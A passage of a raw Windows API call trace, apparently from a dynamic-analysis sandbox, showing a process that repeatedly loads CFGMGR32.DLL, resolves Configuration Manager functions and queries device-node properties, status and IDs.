(lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.422] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.422] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.422] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.422] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.422] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.422] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.423] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.423] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.423] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.423] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.423] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.423] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.423] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.424] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.424] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.424] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.424] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.424] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.424] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.424] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.425] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.425] malloc (_Size=0x18) returned 0x20abc281fc0 [0230.425] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0230.425] malloc (_Size=0x48) returned 0x20abc27cb20 [0230.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x451ba2f5, dwHighDateTime=0x1d9eb0c)) [0230.426] SetEvent (hEvent=0x248) returned 1 [0230.431] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.431] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.431] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.431] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.433] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.433] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.433] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.433] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.433] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.433] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.433] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.434] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.434] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.434] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.434] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.434] malloc (_Size=0x18) returned 0x20abc281d40 [0230.435] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0230.435] malloc (_Size=0x48) returned 0x20abc27cf80 [0230.435] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x451e0446, dwHighDateTime=0x1d9eb0c)) [0230.435] SetEvent (hEvent=0x248) returned 1 [0230.439] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.439] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.440] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.440] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.440] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.440] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.440] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.440] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.440] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.441] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.441] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.441] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.441] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.441] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.441] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.441] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.442] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.442] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.442] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.442] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.442] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.442] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.442] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.443] malloc (_Size=0x18) returned 0x20abc281fc0 [0230.443] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0230.443] malloc (_Size=0x48) returned 0x20abc27cb20 [0230.443] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x451e0446, dwHighDateTime=0x1d9eb0c)) [0230.444] SetEvent (hEvent=0x248) returned 1 [0230.449] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.449] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.449] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.450] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.450] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.450] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.450] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.450] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.450] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.453] malloc (_Size=0x18) returned 0x20abc281ec0 [0230.453] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0230.455] malloc (_Size=0x48) returned 0x20abc27cb20 [0230.455] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x452063ff, dwHighDateTime=0x1d9eb0c)) [0230.456] SetEvent (hEvent=0x248) returned 1 [0230.502] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.502] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.502] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.502] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.503] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.503] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.503] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.503] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.503] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.503] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.503] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.504] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.504] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.504] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.504] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.504] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.504] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.504] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.505] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.505] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.505] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.505] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.505] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.505] malloc (_Size=0x18) returned 0x20abc281f60 [0230.506] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x18, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0230.506] malloc (_Size=0x48) returned 0x20abc27cb20 [0230.506] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x45278b44, dwHighDateTime=0x1d9eb0c)) [0230.506] SetEvent (hEvent=0x248) returned 1 [0230.511] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.511] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.512] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.512] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.512] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.512] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.512] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.512] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.512] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.513] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.513] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.513] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.513] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.513] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.513] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.513] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.514] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.514] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.514] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.514] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.514] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.514] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.514] malloc (_Size=0x18) returned 0x20abc281ea0 [0230.515] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x18, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0230.515] malloc (_Size=0x48) returned 0x20abc27cb20 [0230.515] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x4529ed5e, dwHighDateTime=0x1d9eb0c)) [0230.515] SetEvent (hEvent=0x248) returned 1 [0230.519] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.519] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.522] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.522] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.522] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.522] malloc (_Size=0x18) returned 0x20abc281ec0 [0230.522] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0230.523] malloc (_Size=0x48) returned 0x20abc27cb20 [0230.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4529ed5e, dwHighDateTime=0x1d9eb0c)) [0230.524] SetEvent (hEvent=0x248) returned 1 [0230.530] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.530] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.533] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.533] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.533] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.533] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.533] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.533] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.534] malloc (_Size=0x18) returned 0x20abc281c40 [0230.534] CM_Get_Device_IDA (in: dnDevInst=0x19, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0103\\0") returned 0x0 [0230.534] malloc (_Size=0x48) returned 0x20abc27cb20 [0230.534] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x452c4fb0, dwHighDateTime=0x1d9eb0c)) [0230.534] SetEvent (hEvent=0x248) returned 1 [0230.538] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.539] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 